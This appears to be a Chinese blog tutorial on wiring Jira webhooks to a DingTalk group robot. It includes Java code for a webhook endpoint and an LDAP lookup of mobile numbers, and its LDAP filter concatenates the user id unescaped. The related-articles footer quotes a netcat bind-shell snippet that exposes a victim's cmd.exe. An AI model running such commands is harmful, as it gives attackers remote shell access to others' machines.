JIRA对接钉钉群机器人-实现任务的指派通知
一、前提
Jira Software、钉钉群、RESTful服务、LDAP服务
二、流程图
三、对接步骤
1、创建项目群,把相关人员拉入群
2、钉钉群的智能群助手里添加自定义机器人
3、设置机器人,安全设置里建议勾选IP地址段,将RESTful服务所在的机器IP填入
4、注意创建完成后的Webhook地址,RESTful服务用这个地址发送通知消息,后面步骤要用上
5、RESTful服务新增一个POST接口,并部署到服务器


1 @ApiOperation(value = "JIRA网络钩子")
2 @PostMapping("/jiraWebHook")
3 @ResponseBody
4 public Result<Boolean> jiraWebHook(HttpServletRequest request) {
5 BufferedReader br = null;
6 String str, wholeStr = "";
7 try {
8 br = request.getReader();
9
10 while ((str = br.readLine()) != null) {
11 wholeStr += str;
12 }
13 log.info("jiraWebHook body: {}", wholeStr);
14 } catch (Exception e) {
15 log.error("jiraWebHook error", e);
16 } finally {
17 if (br != null) {
18 try {
19 br.close();
20 } catch (Exception e) {
21 }
22 }
23 }
24 return Result.success(JiraWebHookUtil.hook(JSONObject.parseObject(wholeStr, JiraPostData.class)));
25 }


1 @Slf4j
2 public class JiraWebHookUtil {
3
4 private static final String DING_TALK_ROBOT_URL = "https://oapi.dingtalk.com/robot/send" +
5 "?access_token=xxxxxx";
6 private static final String JIRA_BASE_URL = "http://xxx.xxx.xxx.xxx:38080/browse/";
7 private static RestTemplate restTemplate = new RestTemplate();
8
9 public static boolean hook(JiraPostData postData){
10 try {
11 if(postData != null){
12 if(StringUtils.equals(postData.getWebhookEvent(), "jira:issue_updated")){
13 //更新事件
14 List<Item> items = postData.getChangelog().getItems();
15 String toUserId = Strings.EMPTY;
16 String fromUserId = Strings.EMPTY;
17 for(Item item : items){
18 if(StringUtils.equals(item.getField(), "assignee")){
19 toUserId = item.getTo();
20 fromUserId = item.getFrom();
21 break;
22 }
23 }
24 if(StringUtils.isNotBlank(toUserId) && StringUtils.isNotBlank(fromUserId)){
25 String toMobile = getUserMobile(toUserId);
26 String fromMobile = getUserMobile(fromUserId);
27 if(StringUtils.isNotBlank(toMobile) && StringUtils.isNotBlank(fromMobile)){
28 String issueKey = postData.getIssue().getKey();
29 String issueSummary = postData.getIssue().getFields().getSummary();
30 DingTalkMarkdownMessage msg = new DingTalkMarkdownMessage();
31 msg.setMsgtype("markdown");
32 Markdown markdown = new Markdown();
33 markdown.setTitle(postData.getIssue().getKey());
34 markdown.setText("### @" + fromMobile + " 【转移任务给】@" + toMobile
35 + "\n>任务编号:[" + issueKey + "](" + JIRA_BASE_URL + issueKey + ")"
36 + " \n任务标题:" + issueSummary);
37 msg.setMarkdown(markdown);
38 At at = new At();
39 at.setAtMobiles(Arrays.asList(toMobile, fromMobile));
40 msg.setAt(at);
41 return sendMsgToDingTalk(JSONObject.toJSONString(msg));
42 }
43 }
44 }else if(StringUtils.equals(postData.getWebhookEvent(), "jira:issue_created")){
45 //创建事件
46 String fromUserId = postData.getUser().getKey();
47 String toUserId = postData.getIssue().getFields().getAssignee().getKey();
48 if(StringUtils.isNotBlank(toUserId) && StringUtils.isNotBlank(fromUserId)){
49 String toMobile = getUserMobile(toUserId);
50 String fromMobile = getUserMobile(fromUserId);
51 if(StringUtils.isNotBlank(toMobile) && StringUtils.isNotBlank(fromMobile)){
52 String issueKey = postData.getIssue().getKey();
53 String issueSummary = postData.getIssue().getFields().getSummary();
54 DingTalkMarkdownMessage msg = new DingTalkMarkdownMessage();
55 msg.setMsgtype("markdown");
56 Markdown markdown = new Markdown();
57 markdown.setTitle(postData.getIssue().getKey());
58 markdown.setText("### @" + fromMobile + " 【指派任务给】@" + toMobile
59 + "\n>任务编号:[" + issueKey + "](" + JIRA_BASE_URL + issueKey + ")"
60 + " \n任务标题:" + issueSummary);
61 msg.setMarkdown(markdown);
62 At at = new At();
63 at.setAtMobiles(Arrays.asList(toMobile, fromMobile));
64 msg.setAt(at);
65 return sendMsgToDingTalk(JSONObject.toJSONString(msg));
66 }
67 }
68 }
69 }
70
71 }catch (Exception e) {
72 log.error("触发JIRA网络钩子失败", e);
73 }
74 return false;
75 }
76
77 private static boolean sendMsgToDingTalk(String msg){
78 JSONObject postData = JSONObject.parseObject(msg);
79 JSONObject result = restTemplate.postForObject(DING_TALK_ROBOT_URL, postData, JSONObject.class);
80 if(result != null
81 && result.getIntValue("errcode") == 0
82 && StringUtils.equals(result.getString("errmsg"), "ok")){
83 return true;
84 }
85 return false;
86 }
87
88 private static String getUserMobile(String userId){
89 String mobile = Strings.EMPTY;
90
91 Hashtable<String, String> env = new Hashtable<String, String>();
92 env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
93 env.put(Context.PROVIDER_URL, "ldap://xxxxxx:389");
94 env.put(Context.SECURITY_AUTHENTICATION, "simple");
95 env.put(Context.SECURITY_PRINCIPAL, "cn=xxx,dc=xxx,dc=xxx,dc=com");
96 env.put(Context.SECURITY_CREDENTIALS, "xxxxxx");
97 DirContext ctx = null;
98 try{
99 ctx = new InitialDirContext(env);
100 }catch(Exception e){
101 log.error("连接LDAP失败", e);
102 }
103
104 // 设置过滤条件
105 String filter = "(&(objectClass=top)(objectClass=inetOrgPerson)(cn=" + userId + "))";
106 // 限制要查询的字段内容
107 String[] attrPersonArray = {"cn", "mobile"};
108 SearchControls searchControls = new SearchControls();
109 searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
110 // 设置将被返回的Attribute
111 searchControls.setReturningAttributes(attrPersonArray);
112 // 三个参数分别为:
113 // 上下文;
114 // 要搜索的属性,如果为空或 null,则返回目标上下文中的所有对象;
115 // 控制搜索的搜索控件,如果为 null,则使用默认的搜索控件
116 try {
117 NamingEnumeration<SearchResult> answer = ctx.search(
118 "ou=People,dc=xxx,dc=xxx,dc=xxx", filter, searchControls);
119 // 输出查到的数据
120 while (answer.hasMore()) {
121 SearchResult result = answer.next();
122 Attribute attr = result.getAttributes().get("mobile");
123 mobile = attr.get().toString();
124 break;
125 }
126 }catch (Exception e){
127 log.error("查询LDAP用户信息失败", e);
128 }
129 return mobile;
130 }
131
132 }
6、Jira Software配置网络钩子,使用第5步的接口地址
四、验证效果
JIRA对接钉钉群机器人-实现任务的指派通知的更多相关文章
- nodejs通过钉钉群机器人推送消息
nodejs 通过钉钉群机器人推送消息 Intro 最近在用 nodejs 写爬虫,之前的 nodejs 爬虫代码用 js 写的,感觉可维护性太差,也没有智能提示,于是把js改用ts(typescri ...
- Zabbix通过与微信、钉钉整合实现实时告警
abbix可以通过多种方式把告警信息发送到指定人,常用的有邮件,短信报警方式,但是越来越多的企业开始使用zabbix结合微信.钉钉作为主要的告警方式,这样可以及时有效的把告警信息推送到接收人,方便告警 ...
- Asp.Net Core对接钉钉群机器人
钉钉作为企业办公越来越常用的软件,对于企业内部自研系统提供接口支持,以此来打通多平台下的数据,本次先使用最简单的钉钉群机器人完成多种形式的消息推送,参考钉钉开发文档中自定义机器人环节,此次尝试所花的时 ...
- Sentry快速开始并集成钉钉群机器人
Sentry(直译为:哨兵)是一个开源错误跟踪服务,帮助开发人员实时监控和修复崩溃 Sentry本质上是一种帮助您实时监控和修复崩溃的服务 1. 安装客户端SDK 这里我们安装Java平台的SDK, ...
- yii2-dingtalk 钉钉群机器人
说明 群机器人是钉钉群的高级扩展功能.群机器人可以将第三方服务的信息聚合到群聊中,实现自动化的信息同步.目前,大部分机器人在添加后,还需要进行Webhook配置,才可正常使用(配置说明详见操作流程中的 ...
- 怎么用python 3 开发钉钉群机器人
前言 文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理. 作者:Python绿色通道 PS:如有需要Python学习资料的小伙伴可以加 ...
- 使用python3.7配置开发钉钉群自定义机器人(2020年新版攻略)
原文转载自「刘悦的技术博客」https://v3u.cn/a_id_132 最近疫情比较严重,很多公司依靠阿里旗下的办公软件钉钉来进行远程办公,当然了,钉钉这个产品真的是让人一言难尽,要多难用有多难用 ...
- python 小脚本升级-- 钉钉群聊天机器人
一则小脚本(工作中用) 在这篇文章中写的监控的脚本,发送监控的时候 是利用的邮箱,其实在实际,邮箱查收有着不方便性,于是乎升级, 我们工作中,经常用钉钉,那么如果要是能用到钉钉多好,这样我们的监控成功 ...
- zabbix 配合钉钉群机器人(webhook) 报警
首先建钉钉群,添加一个自定义机器人拿到webhook zabbix添加一个报警媒介 搞一个shell脚本来启动Python脚本(直接用zabbix调Python脚本不行,不知道什么原因) vim di ...
随机推荐
- Mac下安装Mesa
下载Mesa源代码: git clone https://gitlab.freedesktop.org/mesa/mesa.git 如果下载太慢,请参看 下载国外资源. 我下载后看到的Mesa版本信息 ...
- .NET 开源导入导出库 Magicodes.IE 2.5发布
今天我们发布了2.5版本,这当然也离不开大家对Magicodes.IE的支持,今天我也是跟往常一样列举了该版本一些重要的更新内容. 当然也要说一下,在这个版本中我们设计了全新的LOGO Excel导出 ...
- App界面
首先我直接放图,存储记录一下,自己开发的app,后端是java分布式,
- 原创:DynamicDataDisplay波形显示自定义格式
原创:DynamicDataDisplay 原版本在日期显示的格式上与我们的习惯不一样,特做如下修改: 自定义日期格式修改: //MainWindow.cs中 var ds = new Enumera ...
- redis学习之——CentOS 6 下载安装redis
一.检查当前环境: 安装过程中没有这些,命令,在CentOS 6,最小安装导致..如果执行完命令,Noting to do...字样说明环境正常. yum -y install rpm gcc w ...
- 搭建本地yum镜像源
Blog:博客园 个人 目录 概述 语法说明 参数说明 部署 配置阿里云源 同步源 建仓 Nginx配置 配置定时计划 yum配置 概述 由于内网有大量机器不能访问公网,安装软件比较费劲,那么,如何让 ...
- hive with as 语法
简介 with...as...需要定义一个sql片段,会将这个片段产生的结果集保存在内存中, 后续的sql均可以访问这个结果集和,作用与视图或临时表类似. 语法说明 with...as...必须和其他 ...
- Java中instanceof注意的地方
instanceof只能用于对象的判断,不能用于基本类型的判断,以下代码会编译不通过 'A' instanceof Character instanceof特有的规则:若左操作数是null,结果就直接 ...
- 实验4 汇编应用编程和c语言程序反汇编分析
1. 实验任务1 教材「实验9 根据材料编程」(P187-189)编程:在屏幕中间分别显示绿色.绿底红色.白底蓝色的字符串'welcome to masm!'. 解题思路:根据学习的知识,我知道该页在 ...
- nc监控实现调用受害者cmd
正向连接 受害者 IP 是直接暴漏在公网的 或者你们同属于一个内网 受害者:nc.exe -vlp 1234 -e cmd.exe 攻击者 nc 192.168.1.1 1234 nc -lvvp 8 ...